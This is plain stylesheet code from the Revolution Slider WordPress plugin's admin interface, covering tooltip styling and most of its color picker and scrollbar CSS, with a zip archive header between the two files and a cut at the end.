	top: 10px;
	border-top: 10px solid transparent;
    border-bottom: 10px solid transparent;
    border-right: 10px solid #006dd2;
	
}

#rs-tooltip.tip-top-left:before {
	
	right: -10px;
	top: 10px;
	border-top: 10px solid transparent;
    border-bottom: 10px solid transparent;
    border-left: 10px solid #006dd2;
	
}

#rs-tooltip.tip-left:before {
	
	right: -10px;
	top: 50%;
	margin-top: -7px;
	border-top: 10px solid transparent;
    border-bottom: 10px solid transparent;
    border-left: 10px solid #006dd2;
	
}

#rs-tooltip.tip-right-top:before {
	
	bottom: -10px;
	right: 20px;
	border-left: 10px solid transparent;
    border-right: 10px solid transparent;
    border-top: 10px solid #0051b2;
	
}

#rs-tooltip-top {
	
	padding: 26px 30px 30px 30px;
	
}

#rs-tooltip-bottom {
	
	position: relative;
	padding: 0 30px;
	height: 40px;
	background-color: #0051b2;
	font-size: 13px;
	
}

#rs-tooltip-bottom div {
	
	position: absolute;
	top: 8px;
	left: 30px;
	
}

.rs-tooltip-text {
	
	display: block;
	line-height: 20px;
	
}

.rs-tooltip-btn {
	
	display: inline-block;
	background-color: #1a7cd7;
	padding: 9px 19px 7px 19px;
	line-height: 15px;
	border-radius: 3px;
	cursor: pointer;
	transition: opacity 0.2s ease;
	margin-top: 25px;
	margin-right: 10px;
	transition: filter 0.3s ease-in-out;
	
}

.rs-tooltip-btn:hover {
	
	filter: brightness(110%);
	
}

.rs-tooltip-check {
	
	display: inline-block;
	width: 15px;
	height: 15px;
	border: 1px solid rgba(255, 255, 255, 0.35);
	border-radius: 2px;
	margin-right: 10px;
	position: relative;
	top: 4px;
	cursor: pointer;
	transition: border 0.3s ease-in-out;
	
}

.rs-tooltip-check:hover {
	
	border: 1px solid rgba(255, 255, 255, 0.75);
	
}

.rs-tooltip-btn i {
	
	font-size: 17px;
	margin-right: 10px;
	
}

.tip-clone {
	
	transform: none !important;
	margin: 0 !important;
	position: absolute !important;
	pointer-events: none !important;
	z-index: 9999999 !important;
	
}

.tip-focussed {
	
	box-shadow: 0 0 20px 5px #006dd2 !important;
	
}

.tooltip-hide-target {
	
	visibility: hidden !important;
	
}

.tooltip-section {
	
	display: none;
	font-family: monospace;
	font-size: 12px;
	margin-bottom: 20px;
	
}

.toolbar_btn.tip-hover .add_layer,
.toolbar_btn.tip-hover .lockstep_main,
.toolbar_btn.tip-hover .visiblestep_main {position: relative !important}
.toolbar_btn.tip-hover .tool_dd_wrap { display: block; min-width: 100%;}
.toolbar_btn.tip-hover { color: #fff}

.toolbar_btn.tip-hover-text .add_layer[data-type="text"],
.toolbar_btn.tip-hover-image .add_layer[data-type="image"],
.toolbar_btn.tip-hover-video .add_layer[data-type="video"],
.toolbar_btn.tip-hover-audio #toolbar_add_layer_audio,
.toolbar_btn.tip-hover-shape #toolbar_add_layer_shape,
.toolbar_btn.tip-hover-button #toolbar_add_layer_button,
.toolbar_btn.tip-hover-object #toolbar_add_layer_object,
.toolbar_btn.tip-hover-row #toolbar_add_layer_row,
.toolbar_btn.tip-hover-group #toolbar_add_layer_group,
.toolbar_btn.tip-hover-layerlibrary #add_from_layerlibrary,
.toolbar_btn.tip-hover-importlayer #import_layers,
.toolbar_btn.tip-hover-duplicate #do_duplicate_layer,
.toolbar_btn.tip-hover-copy #do_copy_layer,
.toolbar_btn.tip-hover-paste #do_paste_layer,
.toolbar_btn.tip-hover-lock #toggle_lock_layer,
.toolbar_btn.tip-hover-unlock #unlock_all_layer,
.toolbar_btn.tip-hover-setallvisible #visible_all_layer,
.toolbar_btn.tip-hover-showhide #toggle_visible_layer,
.toolbar_btn.tip-hover-highlightboxes #hide_highlight_boxes,
.toolbar_btn.tip-hover:not(.tip-hover-staticlayers) #newslide,
.toolbar_btn.tip-hover-staticlayers .do_not_sort_slide_list_element {background: #3f444a !important; z-index: 99999}

.toolbar_btn.tip-hover:not(.tip-hover-slideorder) #newslide:after,
.toolbar_btn.tip-hover-staticlayers .do_not_sort_slide_list_element:after,
.toolbar_btn.tip-hover-slideorder .slide_list_element.selected:after,
.tip-hover-text #toolbar_add_layer_text:after,
.tip-hover-image #toolbar_add_layer_image:after,
.tip-hover-button #toolbar_add_layer_button:after,
.tip-hover-shape #toolbar_add_layer_shape:after,
.tip-hover-video #toolbar_add_layer_video:after,
.tip-hover-audio #toolbar_add_layer_audio:after,
.tip-hover-object #toolbar_add_layer_object:after,
.tip-hover-row #toolbar_add_layer_row:after,
.tip-hover-group #toolbar_add_layer_group:after,
.tip-hover-layerlibrary #add_from_layerlibrary:after,
.tip-hover-importlayer #import_layers:after,
.tip-hover-lock #toggle_lock_layer:after,
.tip-hover-unlock #unlock_all_layer:after,
.tip-hover-setallvisible #visible_all_layer:after,
.tip-hover-showhide #toggle_visible_layer:after,
.tip-hover-highlightboxes #hide_highlight_boxes:after,
.layertoolbar_wrap .toolbar_btn.tip-hover-duplicate #do_duplicate_layer:after,
.layertoolbar_wrap .toolbar_btn.tip-hover-copy #do_copy_layer:after,
.layertoolbar_wrap .toolbar_btn.tip-hover-paste #do_paste_layer:after {
	
	position: absolute;
	bottom: -5px;
	left: 65%;
	margin-left: 10px;
	width: 17px;
	height: 22px;
	background: url(../images/hand.png) no-repeat center center;
	content: "";
	z-index: 99999;
	
}

.toolbar_btn.tip-hover-slideorder .slide_list_element.selected:after {
	
	width: 18px;
	height: 18px;
	background: url(../images/move.png) no-repeat center center;
	background-size: 18px 18px;
	bottom: 3px;
	
}

.toolbar_btn.tip-hover-staticlayers #newslide:after {display: none}

.rb-tooltips-active .do_title_layer_icon, 
.rb-tooltips-active .do_title_slide_icon {
	
    color: #006dd2;
    font-size: 17px;
    margin-right: 10px;
    line-height: 51px !important;
	
}

.rb-tooltips-active .form_collector .form_inner {
	
    display: block !important;
    padding: 0px;
    position: relative;
    margin-bottom: 1px;
	
}

.rb-tooltips-active .form_inner {
	
    background: #323438;
	
}

.rb-tooltips-active .form_collector .form_inner .collapsable {
	
    padding: 20px;
    display: none;
    position: relative;
	
}

.rb-tooltips-active .tponoffwrap.off .tponoff_inner, 
.rb-tooltips-active .tponoffwrap.off .tponoff_inner, 
.rb-tooltips-active .tponoffwrap.off .tponoff_inner {
	
    transform: translateX(0px);
	
}

.rb-tooltips-active .formcontainer,
.rb-tooltips-active .formcontainer {

    width: 320px;

}

.rb-tooltips-active .form_collector,
.rb-tooltips-active .formcontainer {

    width: 320px;

}

.rb-tooltips-active .form_collector .form_menu_level_1 {
	
    display: none !important;
	
}

.rb-tooltips-active .showhide_hidden,
.rb-tooltips-active .showhide_hidden.form_inner, 
.rb-tooltips-active .form_collector .showhide_hidden.form_inner {
	
    display: none !important;
	
}

.rb-tooltips-active .form_collector .form_inner.open .collapsable {
	
    display: block;
	
}

.rb-tooltips-active .form_collector .form_inner .collapsable {
	
    display: none;
	
}

.rb-tooltips-active .form_collector .collapsable {
	
	position: relative;
	
}

.rb-tooltips-active .tip-clone .collapsable {
	
	padding: 20px;
	
}

.rb-tooltips-active .tooltip-save-preview {
	
	z-index: 9999999 !important;
	pointer-events: none !important;
	
}

.rb-tooltips-active .tooltip-save-preview:after {
	
	background-color: rgb(50, 52, 56, 0.5);
	width: 160px;
	height: 50px;
	position: absolute;
	top: 0;
	left: 0;
	content: "";
	
}

.rb-tooltip-timeline .basic_action_button {

    background: transparent;
    border: none;
    border-radius: 0px;
    width: 30px;
    text-align: center;
    height: 35px;
    line-height: 35px;
    text-align: center;
    color: #777c80;
    text-transform: uppercase;
    font-weight: 400;
    font-size: 12px;
    box-sizing: border-box;
    margin: 0px;
    padding: 0px;

}

.rb-tooltip-timeline .basic_action_button i {

    font-size: 20px;
    margin: 0px;

}

.tooltip-hide-preview-save .tooltip-save-preview {
	
	display: none !important;
	
}

.rb-tooltips-active .layertoolbar_wrap .toolbar_btn i.material-icons.norightmargin {
	
    margin-right: 0px !important;
	
}

.rb-tooltips-active #rb_tlw > #do_delete_layer.toolbar_btn .material-icons {
	
	margin-right: 0 !important;
	
}

.tooltip-link {
	
	display: none;
	
}

.rb-tooltips-active #rb_tlw > .tip-clone longoption {
	
	width: 280px !important;
	
}

#rs-tooltip-next {position: relative; padding-right: 50px}
#rs-tooltip-close {position: absolute; top: 0; right: 0; width: 30px; height: 30px; cursor: pointer; color: #FFF; z-index: 99}
#rs-tooltip-close i {position: absolute; top: 7px; left: 7px; font-size: 16px}
#rs-tooltip-close:hover {opacity: 0.4}

.rs-tooltip-return-icon {
	
	width: 16px;
	height: 16px;
	display: inline-block;
	background-size: 16px 16px;
	background-image: url(../images/return.png);
	background-repeat: no-repeat;
	
	position: absolute;
    right: 7px;
    top: 7px;
	
}



body.rtl .rs-tooltip-btn i { margin-left: 10px; margin-right: 0px }
body.rtl .rs-tooltip-check { margin-left: 10px; margin-right: 0px }



PK�y3\�iEƜ���assets/css/tp-color-picker.cssnu�[���/**************************************************************************
 * tp-color-picker.css - Color Picker Plugin for Revolution Slider
 * @version: 2.0 (01.01.2018)
 * @author ThemePunch
**************************************************************************/


/*
  Default Picker Widget
*/
.revbuilder-colorpicker {
	
	display: inline-block; 
	height: 27px; 
	line-height: 27px;
	cursor: pointer; 		
	box-sizing: border-box;	
	
}

.revbuilder-cpicker-master-wrap,
.revbuilder-cpicker-master-wrap input
 {
	
	cursor: pointer;
	
}

#revbuilder-cpicker-gradients,
#revbuilder-cpicker-colors {
	line-height: 30px;
	vertical-align: top;
}
#revbuilder-cpicker * {
	
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	-webkit-touch-callout: none;
	text-rendering: optimizeLegibility;
	
}



#revbuilder-cpicker i {
	
	line-height: normal;
	
}

.revbuilder-colorpicker span,
.revbuilder-cpicker-preview {
	
	display: inline-block; 
	height: 100%; 
	vertical-align: middle;
	
}

.revbuilder-colorpicker .revbuilder-colorbox,
.revbuilder-cpicker-preview {
	
	width: 13px;
	height: 13px;
	background: url(../images/trans_tile.png);
	border-radius: 2px;
	border: 1px solid #414448;	
	box-sizing: border-box;
	
}

#revbuilder-cpicker-preview-gradient {
	
	background: #FFF;
	
}

.revbuilder-cpicker-preview {
	
	width: 17px;
	height: 17px;
	vertical-align: top;
	margin: 0 10px 0 10px;
	position: relative;
	top: 7px;
	border-radius: 0 !important;
	border: none !important;
	
}

.revbuilder-colorpicker .revbuilder-colorbtn,
.revbuilder-cpicker-input {
	
	font-family: 'Roboto';
	font-size: 17px;
	line-height: 27px;
	padding-left: 4px;
	background: transparent !important;
	position: relative;	
	font-weight: 500;
	color: #b7bbc0 !important;
}

.revbuilder-cpicker-input:focus {
	
	background: transparent !important;
	border: 0 !important;
	box-shadow: none !important;
	
}

.revbuilder-cpicker-input {
	
	font-size: 13px;
	line-height: 18px;
	border: 0 !important;
	width: 125px;
	margin-left: 3px;
	padding: 3px 0;
	margin-top: 0px;
	
}

.revbuilder-cpicker-hex {
	
	width: 106px;
	margin-left: 0;
	
}

.revbuilder-cpicker-input-wrap {
	
	overflow: hidden;
	
}

.revbuilder-cpicker-input-wrap,
.revbuilder-cpicker-btn {
	
	width: 145px;
	height: 30px;
	display: inline-block;
	vertical-align: top;
	background: #2a2c2f;
	border-radius: 2px;
	padding-top: 0px;
	text-align: left;
	line-height: 30px;
	vertical-align: top;
	
}

.revbuilder-cpicker-btn-small {
	
	width: 31px;
	float: right;
	margin-right: 31px;
	
}

.revbuilder-cpicker-input-wrap.focus {
	
	background: #3a3e44;
	
}

.revbuilder-cpicker-input-basic {
	
	width: 50px;
	margin-left: 5px;
	
}

.revbuilder-cpicker-input-small {
	
	width: 45px;
	margin-left: 5px;
	
}

.revbuilder-cpicker-input-basic.first,
.revbuilder-cpicker-input-small.first,
.revbuilder-cpicker-input-medium.first {
	
	margin-left: 0;
	
}

.revbuilder-cpicker-input-small .revbuilder-cpicker-input {
	
	width: 40px;
	margin-left: 3px;
	
}

#revbuilder-cpicker-radial-wrap,
#revbuilder-cpicker-radial-wrap .revbuilder-cpicker-input {
	
	width: 45px;
	text-align: left;
	
}

.revbuilder-cpicker-input-medium {
	
	width: 70px;
	margin-left: 5px;
	
}

.revbuilder-cpicker-input-medium .revbuilder-cpicker-input {
	
	width: 59px;
	margin-left: 10px;
	
}

.revbuilder-colorpicker-open .tipsy-inner {
	
	max-width: none;
	
}

.revbuilder-cpicker-wrap {
	
	position: fixed;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 2099999;
	display: none;
	
}

#revbuilder-cpicker-back {
	
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	background: transparent; /*rgba(50, 52, 56, 0.5);*/
	
}

#revbuilder-cpicker {

	position: absolute;
	top: 50%;
	left: 50%;
	font-family: 'Roboto', 'Roboto';
	font-size: 12px;
	white-space: nowrap;
	display: block; 
	cursor: default; 	
	color: #777c80; 
	box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5);

}

#revbuilder-cpicker-container {
	
	display: table;
	background: #323438;
	
}

#revbuilder-cpicker-head {
	
	background: #2a2c2f;
	width: 560px;
	height: 70px;
	position: relative;
	
}

.revbuilder-cpicker-candrag {
	
	pointer-events: none;
	
}

.revbuilder-cpicker-column {
	
	display: table-cell;
	vertical-align: top;
	
}

#revbuilder-cpicker-right {
	
	position: relative;
	background: #323438;
	width: 70px;
	height: 100%;
	
}

#revbuilder-cpicker-toggle {
	
	position: absolute;
	bottom: 0;
	right: 0;
	
}

.revbuilder-cpicker-hover {
	
	transition: background 0.2s ease;
	
}

.revbuilder-cpicker-btn-large {
	
	width: 70px;
	height: 70px;
	cursor: pointer;
	text-align: center;
	
}

.revbuilder-cpicker-btn-large i {
	
	font-size: 30px;
	margin-top: 19px;
	
}

.revbuilder-cpicker-palette-open,
.revbuilder-cpicker-wrap.palette-open .revbuilder-cpicker-palette-closed {
	
	display: none !important;
	
}

.revbuilder-cpicker-wrap.palette-open .revbuilder-cpicker-palette-open {
	
	display: inline-block !important;
	
}

.revbuilder-cpicker-wrap.color-view.palette-open #revbuilder-cpicker-color-presets,
.revbuilder-cpicker-wrap.gradient-view.palette-open #revbuilder-cpicker-gradient-presets {
	
	display: block;
	
}

.revbuilder-cpicker-wrap.color-view #revbuilder-cpicker-gradients,
.revbuilder-cpicker-wrap.gradient-view #revbuilder-cpicker-colors {
	
	display: none;
	
}

.revbuilder-cpicker-wrap.gradient-view #revbuilder-cpicker-gradients {
	
	margin-bottom: -48px;
	
}

.revbuilder-cpicker-wrap.gradient-view.palette-open #revbuilder-cpicker-gradients {
	
	margin-bottom: 0;
	
}

#revbuilder-cpicker-gradients .revbuilder-cpicker-row.first {
	
	padding-bottom: 20px;
	
}

#revbuilder-cpicker-gradients #revbuilder-cpicker-gradient-presets .revbuilder-cpicker-row.first {
	
	padding-bottom: 0;
	
}

.revbuilder-cpicker-btn-large:hover {
	
	background: #006dd2;
	
}

.revbuilder-cpicker-btn-large:hover i {
	
	color: #FFF;
	
}

#revbuilder-cpicker-type-wrap {
	
	margin-top: 20px;
	
}

#revbuilder-cpicker-type-wrap > * {
	
	display: inline-block;
	vertical-align: middle;
	
}

.revbuilder-cpicker-side {
	
	display: inline-block;
	position: relative;
	
}

#revbuilder-cpicker-base .revbuilder-cpicker-side {
	
	vertical-align: top;
	
}

.revbuilder-cpicker-left {
	
	width: 306px;
	
}

#revbuilder-cpicker-left {
	
	padding-bottom: 40px;
	
}

#revbuilder-cpicker-base {
	
	margin-top: 30px;
	
}

#revbuilder-cpicker-editing {
	
	position: relative;
	display: inline-block;
	
}

.revbuilder-cpicker-main-btn {
	
	color: #b7bbc0;
	width: 50px;
	height: 31px;
	background: #3f444a;
	text-align: center;
	cursor: pointer;
	pointer-events: all;
	position: relative;
	display: inline-block;
	border-radius: 2px;
	z-index: 0;
	
}

.revbuilder-cpicker-title,
.revbuilder-cpicker-spacer {
	
	width: 116px;
	margin-right: 15px;
	text-align: right;
	display: inline-block;
	
}

.revbuilder-cpicker-title:not(.revbuilder-cpicker-candrag) {
	
	position: relative;
	top: 0px;
	
}

#revbuilder-cpicker-gradients .revbuilder-cpicker-side:not(.revbuilder-cpicker-left) .revbuilder-cpicker-title {

	width: auto;
	text-align: left;

}

#revbuilder-cpicker-btn-wrap {
	
	display: inline-block;
	background: #3f444a;
	line-height: 0;
	
}

.revbuilder-cpicker-txt-space-left {
	
	margin-left: 15px;
	
}

.revbuilder-cpicker-wrap.color-view #revbuilder-cpicker-color-btn {
	
	border-radius: 2px 0 2px 2px;
	
}
.revbuilder-cpicker-wrap.gradient-view #revbuilder-cpicker-gradient-btn {
	
	border-radius: 0 2px 2px 2px;
	
}

.revbuilder-cpicker-wrap.color-view #revbuilder-cpicker-color-btn,
.revbuilder-cpicker-wrap.gradient-view #revbuilder-cpicker-gradient-btn {
	
	color: #FFF;
	cursor: default;
	border-radius: 2px;
	background: #006dd2;
	z-index: 1;
	
}

.revbuilder-cpicker-wrap.color-view #revbuilder-cpicker-gradient-btn:hover,
.revbuilder-cpicker-wrap.gradient-view #revbuilder-cpicker-color-btn:hover {

	color: #FFF;
	
}

.revbuilder-cpicker-main-btn i {
	
	margin-top: 4px;
	
}

.revbuilder-cpicker-bright {
	
	color: #b7bbc0;
	
}

.revbuilder-cpicker-row {
	
	margin-top: 10px;
	
}

.revbuilder-cpicker-row.extended {
	
	margin-top: 19px;
	
}

.revbuilder-cpicker-no-margin {
	
	margin-top: 0;
	
}

#revbuilder-cpicker-gradients .revbuilder-cpicker-iris {
	
	margin-top: 26px;
	
}

#revbuilder-cpicker-gradients .iris-slider {
	
	margin-left: -7px !important;
	
}

.revbuilder-cpicker-label {
	
	top: 1px !important;
	
}

.revbuilder-cpicker-row.first {
	
	margin-top: 0;
	
}

.revbuilder-cpicker-btn,
.revbuilder-cpicker-btn-large {
	
	background: #3f444a;
	color: #b7bbc0;
	cursor: pointer;
	text-align: center;
	
}

.revbuilder-cpicker-btn:hover,
.revbuilder-cpicker-btn-large:hover,
#revbuilder-cpicker-check {
	
	background: #006dd2;
	color: #FFF !important;
	
}

#revbuilder-cpicker-check:hover i {
	
	margin-left: 5px;
	
}

.revbuilder-cpicker-btn * {
	
	display: inline-block;
	vertical-align: top;
	
}

.revbuilder-cpicker-btn span {
	
	position: relative;	
	margin-left: 9px;
	vertical-align: top;
	
}

.revbuilder-cpicker-btn i {
	
	font-size: 17px;
	position: relative;
	line-height: 30px !important;
	vertical-align: top;
	
}

#revbuilder-cpicker .iris-strip {	

	width: 10px !important;
	height: 152px !important;
	box-shadow: none;
	border: none;
	border-radius: 0px;
	margin-left: 1px;
	
}

#revbuilder-cpicker .iris-picker .iris-strip .ui-slider-handle:focus, 
#revbuilder-cpicker .iris-picker .ui-square-handle:focus {
	
	box-shadow: 0px 5px 5px 0px rgba(0, 0, 0, 0.35);
	
}

#revbuilder-cpicker .iris-picker .iris-square,
#revbuilder-cpicker .iris-picker .iris-square-inner {
	
	width: 154px !important;
	height: 154px !important;
	box-shadow: none !important;
	border-radius: 0;
	
}

#revbuilder-cpicker .iris-slider.iris-strip .ui-slider-handle,
#revbuilder-cpicker-scroller .iris-slider-offset { 
	
	background: #fff; 
	border-radius: 2px; 
	height: 3px;
	border: none; 
	outline:none !important;
	box-shadow: 0px 5px 5px 0px rgba(0, 0, 0, 0.35);
	
}

#revbuilder-cpicker .iris-slider.iris-strip .ui-slider-handle:before {
	
	display: none;
	
}

#revbuilder-cpicker .iris-slider-offset {
	
	top: 2px !important; 
	bottom: 0 !important;
	
}

#revbuilder-cpicker .wp-color-result,
#revbuilder-cpicker .wp-picker-input-wrap {
	
	display: none;
	
}

#revbuilder-cpicker .wp-picker-container .iris-picker {
	
	margin-top: 0;
	
}

#revbuilder-cpicker .iris-border {
	
	border: 0;
	background: transparent;
	
}

#revbuilder-cpicker .iris-border .iris-picker-inner {
	
	position: static;
	
}

.revbuilder-cpicker-iris .wp-picker-container {
	
	display: inline-block !important;
	vertical-align: top !important;
	width: auto !important;
	margin: 0px !important;
	
}

#revbuilder-cpicker #revbuilder-cpicker-scroller {
	
	position: relative;
	display: inline-block;
	margin-left: 14px;
    vertical-align: top;
	height: 150px !important;
	border-radius: 0;
	box-sizing: border-box;
	box-shadow: inset 0 0 5px rgba(0,0,0,0.4);
    background: url(../images/trans_tile.png);
	
}

#revbuilder-cpicker-scroller div {
	
	box-sizing: border-box;
	
}

#revbuilder-cpicker-scroll-bg {
	
	position: absolute;
	top: 0 !important;
	left: 0;
	width: 100% !important;
	height: 100% !important;
	background: linear-gradient(to bottom, #000 0%, rgba(0, 0, 0, 0) 100%) !important;
	
}

#revbuilder-cpicker-scroll {
	
	position: relative;
	height: 100% !important;
	background: transparent !important;
	
}

#revbuilder-cpicker-scroller .ui-slider-handle {
	
	position: absolute;
    background: 0 0;
    margin: 0;
    right: -3px;
    left: -3px;
    border: 4px solid #aaa;
    border-width: 4px 3px;
    width: auto;
    height: 6px;
    border-radius: 4px;
    box-shadow: 0 1px 2px rgba(0,0,0,.2);
    opacity: .9;
    z-index: 5;
    cursor: ns-resize;
	
}

#revbuilder-cpicker-scroller .ui-slider-handle:before {
	
	content: " ";
    position: absolute;
    left: -2px;
    right: -2px;
    top: -3px;
    bottom: -3px;
    border: 2px solid #fff;
    border-radius: 3px;
	
}

.revbuilder-cpicker-wrap.is-basic #revbuilder-cpicker-scroller,
.revbuilder-cpicker-wrap.is-basic .revbuilder-cpicker-hideable {
	
	display: none;
	
}

.revbuilder-cpicker-presets {
	
	margin-top: 21px;
	display: none;
	
}

#revbuilder-cpicker-gradient-presets {
	
	margin-top: -18px;
	
}

.revbuilder-cpicker-presets-group {
	
	position: relative;			
	line-height: 0;
	white-space: normal;
	padding: 0;	
	width: 173px;
	height: 114px;
	overflow: hidden;
	
}

.revbuilder-cpicker-color,
.revbuilder-cpicker-direction {

	width: 29px;
	height: 29px;
	display: inline-block;
	position: relative;
	margin: 0 12px 12px 0;
	box-sizing: border-box;
	border-radius: 2px;
	overflow: hidden;

}

.revbuilder-cpicker-color.selected,
.revbuilder-cpicker-direction.selected  {
	
	border: 2px solid #FFF;
	cursor: auto;
	
}

.revbuilder-cpicker-color:not(.selected),
.revbuilder-cpicker-direction {
	
	cursor: pointer;
	
}

.revbuilder-cpicker-color.blank {

	cursor: auto;
	background: #3f444a;
	
}

.revbuilder-cpicker-preset-bg,
.revbuilder-cpicker-preset-tile {
	
	display: block;
	width: 100%;
	height: 100%;
	
}

.revbuilder-cpicker-preset-tile {
	
	background: url(../images/trans_tile.png);
	border-radius: 4px; /* Hide strange Radius Failure */
	
}

.revbuilder-cpicker-preset-bg {
	
	position: absolute;
	top: 0;
	left: 0;
	
}

#revpicker-easing-row.active .revbuilder-cpicker-input-wrap {

    width: 90px !important;

}

#revbuilder-cpicker #revpicker-easing-row.active .ddTP_C {
	
	width: 70px !important;
	min-width: 70px !important;
	
}

#revpicker-easing-row.active .revbuilder-cpicker-input-basic {

    width: 50px !important;

}

#revbuilder-cpicker #revpicker-easing-row.active .ddTP_C .ddTP_S {

    width: 55px !important;

}

#revpicker-easing-row.active .revbuilder-cpicker-easing-strength,
#revpicker-easing-row.active #revbuilder-cpicker-strength-title {
	
	display: inline-block;
	
}

.revbuilder-cpicker-easing-strength,
#revpicker-easing-row.active #revbuilder-cpicker-easing-title,
#revbuilder-cpicker-strength-title {
	
	display: none;
	
}


/***********************************
  - PERFECT SCROLLBAR -
************************************/
/* perfect-scrollbar v0.7.1 */
.ps{-ms-touch-action:auto;touch-action:auto;overflow:hidden !important;-ms-overflow-style:none}@supports (-ms-overflow-style: none){.ps{overflow:auto !important}}@media screen and (-ms-high-contrast: active), (-ms-high-contrast: none){.ps{overflow:auto !important}}.ps.ps--active-x>.rs__scrollbar-x-rail,.ps.ps--active-y>.rs__scrollbar-y-rail{display:block;background-color:transparent}.ps.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail{background-color:#eee;opacity:.9}.ps.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail>.rs__scrollbar-x{background-color:#999;height:11px}.ps.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail{background-color:#eee;opacity:.9}.ps.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail>.rs__scrollbar-y{background-color:#999;width:11px}.ps>.rs__scrollbar-x-rail{display:none;position:absolute;opacity:0;-webkit-transition:background-color .2s linear, opacity .2s linear;-o-transition:background-color .2s linear, opacity .2s linear;-moz-transition:background-color .2s linear, opacity .2s linear;transition:background-color .2s linear, opacity .2s linear;bottom:0px;height:15px}.ps>.rs__scrollbar-x-rail>.rs__scrollbar-x{position:absolute;background-color:#aaa;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;-o-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;-moz-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -webkit-border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;bottom:2px;height:6px}.ps>.rs__scrollbar-x-rail:hover>.rs__scrollbar-x,.ps>.rs__scrollbar-x-rail:active>.rs__scrollbar-x{height:11px}.ps>.rs__scrollbar-y-rail{display:none;position:absolute;opacity:0;-webkit-transition:background-color .2s linear, opacity .2s linear;-o-transition:background-color .2s linear, opacity .2s linear;-moz-transition:background-color .2s linear, opacity .2s linear;transition:background-color .2s linear, opacity .2s linear;right:0;width:15px}.ps>.rs__scrollbar-y-rail>.rs__scrollbar-y{position:absolute;background-color:#aaa;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;-o-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;-moz-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -webkit-border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;right:2px;width:6px}.ps>.rs__scrollbar-y-rail:hover>.rs__scrollbar-y,.ps>.rs__scrollbar-y-rail:active>.rs__scrollbar-y{width:11px}.ps:hover.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail{background-color:#eee;opacity:.9}.ps:hover.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail>.rs__scrollbar-x{background-color:#999;height:11px}.ps:hover.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail{background-color:#eee;opacity:.9}.ps:hover.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail>.rs__scrollbar-y{background-color:#999;width:11px}.ps:hover>.rs__scrollbar-x-rail,.ps:hover>.rs__scrollbar-y-rail{opacity:.6}.ps:hover>.rs__scrollbar-x-rail:hover{background-color:#eee;opacity:.9}.ps:hover>.rs__scrollbar-x-rail:hover>.rs__scrollbar-x{background-color:#999}.ps:hover>.rs__scrollbar-y-rail:hover{background-color:#eee;opacity:.9}.ps:hover>.rs__scrollbar-y-rail:hover>.rs__scrollbar-y{background-color:#999}

#revbuilder-cpicker .ps-container .ps-scrollbar-x-rail {
	
	display: none;
	
}

#revbuilder-cpicker .ps-container .ps-scrollbar-y-rail {
	
	display: block;
	
}

#revbuilder-cpicker .ps-container .ps-scrollbar-y {
	
	border-radius: 3px !important;
	
}

#revbuilder-cpicker .ddTP_S__rendered {
	
	padding-left: 0 !important;
	
}

#revbuilder-cpicker .ps-active-y:hover .ps-scrollbar-y-rail {
	
	opacity: 1;
	
}

#revbuilder-cpicker .ps-active-y .ps-scrollbar-y-rail:hover {
	
	background-color: transparent;
	
}

#revbuilder-cpicker .ps-container:hover > .ps-scrollbar-y-rail:hover > .ps-scrollbar-y {
	
	background-color: #b7bbc0;
	
}

#revbuilder-cpicker .ps > .rs__scrollbar-y-rail {
	
	width: auto !important;
	
}

#revbuilder-cpicker .ps > .rs__scrollbar-y-rail:hover > .rs__scrollbar-y, 
#revbuilder-cpicker .ps > .rs__scrollbar-y-rail:active > .rs__scrollbar-y {
	
	width: 6px !important;
	
}

.revbuilder-picker-color-custom:hover span,
.revbuilder-picker-color-custom:hover .revbuilder-cpicker-delete:before {
	
	display: block;

}

.revbuilder-colorpicker-open .ddTP_C--open {
	
	z-index: 9999999;
	
}

.revbuilder-colorpicker-open .ddTP_C .ddTP_S {
	
	box-shadow:none;
	outline:none;
	border: none;
	border-radius: 3px; 
	width:185px;
	padding:0px; 
	margin:0px; 
	margin-bottom: 10px; 
	
}

.revbuilder-cpicker-wrap.onajax {
	
	pointer-events: none;
	
}

.revbuilder-cpicker-wrap.onajax:before {
	
	width: 100%;
	height: 100%;
	background: rgba(0, 0, 0, 0.5);
	position: absolute;
	top: 0;
	left: 0;
	z-index: 2099998;
	content: "";
	
}

.revbuilder-cpicker-wrap.onajax:after {
	
	position: absolute;
	top: 50%;
	left: 50%;
	z-index: 2099999;
	font-size: 36px;
	color: #FFF;
	margin-top: -10px;
	pointer-events: all;
	
}

.revbuilder-cpicker-wrap.onajaxdelete:after {
	
	content: "Deleting Preset...";
	margin-left: -135px;
	
}

.revbuilder-cpicker-wrap.onajaxsave:after {
	
